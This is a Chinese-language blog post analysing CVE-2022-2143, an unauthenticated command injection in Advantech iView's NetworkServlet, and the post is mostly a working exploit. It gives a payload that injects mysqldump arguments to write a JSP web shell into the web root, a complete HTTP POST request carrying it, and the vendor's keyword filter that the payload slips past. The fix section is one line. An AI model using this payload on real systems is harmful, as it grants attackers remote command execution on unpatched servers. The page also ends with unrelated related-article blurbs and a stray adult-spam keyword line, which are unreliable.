<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2022-2143 Advantech iView NetworkServlet 命令注入RCE

    VSole2022-08-24 16:54:30
    • 調用關系查詢
    MATCH (n:Class{NAME:'javax.servlet.http.HttpServlet'})-[:EXTEND]-(c:Class)-[:HAS]->(m:Method)-[:CALL*2]-(m1:Method{NAME:'exec',CLASS_NAME:'java.lang.Runtime'}) return *
    

    分析com.imc.iview.network.NetworkServlet#doPost


    兩次校驗

    com.imc.iview.utils.CUtils#checkFileNameIncludePath(java.lang.String)

    image.png

    檢驗\webapps\防止寫shell

    com.imc.iview.utils.CUtils#checkSQLInjection檢測了一些關鍵字。

    public boolean checkSQLInjection(String model0) {    boolean result = false;    String model = model0.toLowerCase();    if (!model.contains(" or ") && !model.contains("'or ") && !model.contains("||") && !model.contains("==") && !model.contains("--")) {        if (model.contains("union") && model.contains("select")) {            if (this.checkCommentStr(model, "union", "select")) {                result = true;            }        } else if (model.contains("case") && model.contains("when")) {            if (this.checkCommentStr(model, "case", "when")) {                result = true;            }        } else if (model.contains("into") && model.contains("dumpfile")) {            if (this.checkCommentStr(model, "into", "dumpfile")) {                result = true;            }        } else if (model.contains("into") && model.contains("outfile")) {            if (this.checkCommentStr(model, "into", "outfile")) {                result = true;            }        } else if (model.contains(" where ") && model.contains("select ")) {            result = true;        } else if (model.contains("benchmark")) {            result = true;        } else if (model.contains("select") && model.contains("from")) {            if (this.checkCommentStr(model, "select", "from")) {                result = true;            }        } else if (model.contains("select/*")) {            result = true;        } else if (model.contains("delete") && model.contains("from")) {            if (this.checkCommentStr(model, "delete", "from")) {                result = true;            }        } else if (model.contains("drop") && model.contains("table") || model.contains("drop") && model.contains("database")) {            if (this.checkCommentStr(model, "drop", "table")) {                result = true;            }            if (this.checkCommentStr(model, "drop", "database")) {                result = true;            }        } else if (!model.contains("sleep(") && !model.contains(" rlike ") && !model.contains("rlike(") && !model.contains(" like ")) {            if (model.startsWith("'") && model.endsWith("#") && model.length() > 5) {                result = true;            } else if ((model.startsWith("9999'") || model.endsWith("#9999") || model.contains("#9999")) && model.length() > 10) {                result = true;            } else if (model.contains("getRuntime().exec") || model.contains("getruntime().exec") || model.contains("getRuntime()")) {                result = true;            }        } else {            result = true;        }    } else {        result = true;    }    if (result) {        System.out.println("Error: SQL Injection Vulnerability detected in [" + model0 + "]");    }    return result;}
    

    那么mysqldump可以拼接-w參數將內容寫入文件,然后可以多次傳遞-r參數覆蓋原有的-r文件路徑值

    正常的命令為

    "C:\Program Files (x86)\MySQL\MySQL Server 5.1\bin\mysqldump" -hlocalhost -u root -padmin --add-drop-database -B iview -r "c:\IMCTrapService\backup\aa"
    

    命令注入構造payload

    2.sql" -r "./webapps/iView3/test.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{99,109,100}))).start()).getInputStream()))%>"
    POST /iView3/NetworkServlet HTTP/1.1Host: 172.16.16.132:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 79
    page_action_type=backupDatabase&backup_filename=2.sql"+-r+"./webapps/iView3/test.jsp"+-w+"<%25%3dnew+String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new+ProcessBuilder(request.getParameter(new+java.lang.String(new+byte[]{99,109,100}))).start()).getInputStream()))%25>"
    

    拼接之后為

    "C:\Program Files (x86)\MySQL\MySQL Server 5.1\bin\mysqldump" -hlocalhost -u root -padmin --add-drop-database -B iview -r "c:\IMCTrapService\backup\2.sql" -r "./webapps/iView3/test.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{99,109,100}))).start()).getInputStream()))%>"
    

    image.png

    有php日志getshell的那味了。

    修復

    image.png

    判斷session登錄狀態

    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    CVE-2022-2143 Advantech iView NetworkServlet 命令注入RCE
    Advantech iView 多個不同類型匿名 RCE 漏洞分享
    在一些開啟了 Hyper-V 的電腦上,RouterOS 可能無法在 VMWare Workstation 中模擬運行或啟動非常緩慢,如果遇到無法運行的情況,請酌情考慮關閉 Hyper-V,如果能成功運行但是啟動緩慢,可以及時拍攝快照。
    通用日志文件系統是一種通用的日志記錄子系統,可供運行在內核模式和用戶模式下的應用程序使用,用于構建高性能的事務日志,并在驅動程序CLFS.sys中進行實現。通用日志文件系統在基本日志文件中生成事務日志。三種類型的記錄(控制記錄、基本記錄和截斷記錄((Control Record, Base Record, and Truncate Record))可以駐留在這些塊中。Base Record包含符號表,這些符號表存儲有關與基本日志文件關聯的客戶端上下文、容器上下文和安全上下文的信息。
    前言最近注意到了Apache Commons Configuration 在2.7版本已經不安全了,能夠直接影響該組件,來分析學一下漏洞原理漏洞分析前置Commons Configuration是一個java應用程序的配置管理類庫。可以從properties或者xml文件中加載軟件的配置信息,用來構建支撐軟件運行的基礎環境。在一些配置文件較多較的復雜的情況下,使用該配置工具比較可以簡化配置文件的解析和管理。也提高了開發效率和軟件的可維護性。同樣可以使用這種變量插值影響范圍2.4 ~ 2.7漏洞首先引入Commons-Configuration的依賴
    iOS 0day漏洞影響老版本iPhone和iPad,蘋果已發布安全補丁。漏洞產生的原因是蘋果WebKit web瀏覽器瀏覽引擎的類型混淆引發的。實現遠程代碼執行后,攻擊者可以在底層操作系統執行命令,部署惡意軟件或監控惡意軟件,并執行其他惡意活動。1月23日,蘋果再次發布公告稱發現該漏洞被利用的跡象。蘋果公司建議受影響的用戶盡快安裝1月23日蘋果發布的安全更新以攔截可能的攻擊。
    CVE-2022-23222:Linux 內核 eBPF 本地權限提升
    CVE-2022-33891漏洞復現
    2022-07-25 15:46:51
    簡介Spark 是用于大規模數據處理的統一分析引擎。它提供了 Scala、Java、Python 和 R 中的高級 API,以及支持用于數據分析的通用計算圖的優化引擎。它還支持一組豐富的高級工具,包括用于 SQL 和 DataFrames 的 Spark SQL、用于 Pandas 工作負載的 Spark 上的 Pandas API、用于機器學習的 MLlib、
    漏洞信息2022.07.20 Atlassian 官方通報了 Questions for Confluence 應用程序存在硬編碼漏洞 CVE-2022-26138,當 Confluence 安裝該應用程序后,會自動新增一個硬編碼的管理員賬號密碼,
    微軟研究人員發現macOS App沙箱逃逸漏洞。 微軟研究人員Jonathan Bar Or在檢測macOS系統上微軟office惡意宏時發現了macOS App沙箱逃逸漏洞,漏洞CVE編號為CVE-2022-26706。攻擊者利用該漏洞可以構造代碼來繞過APP沙箱,在系統上無限制的運行。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类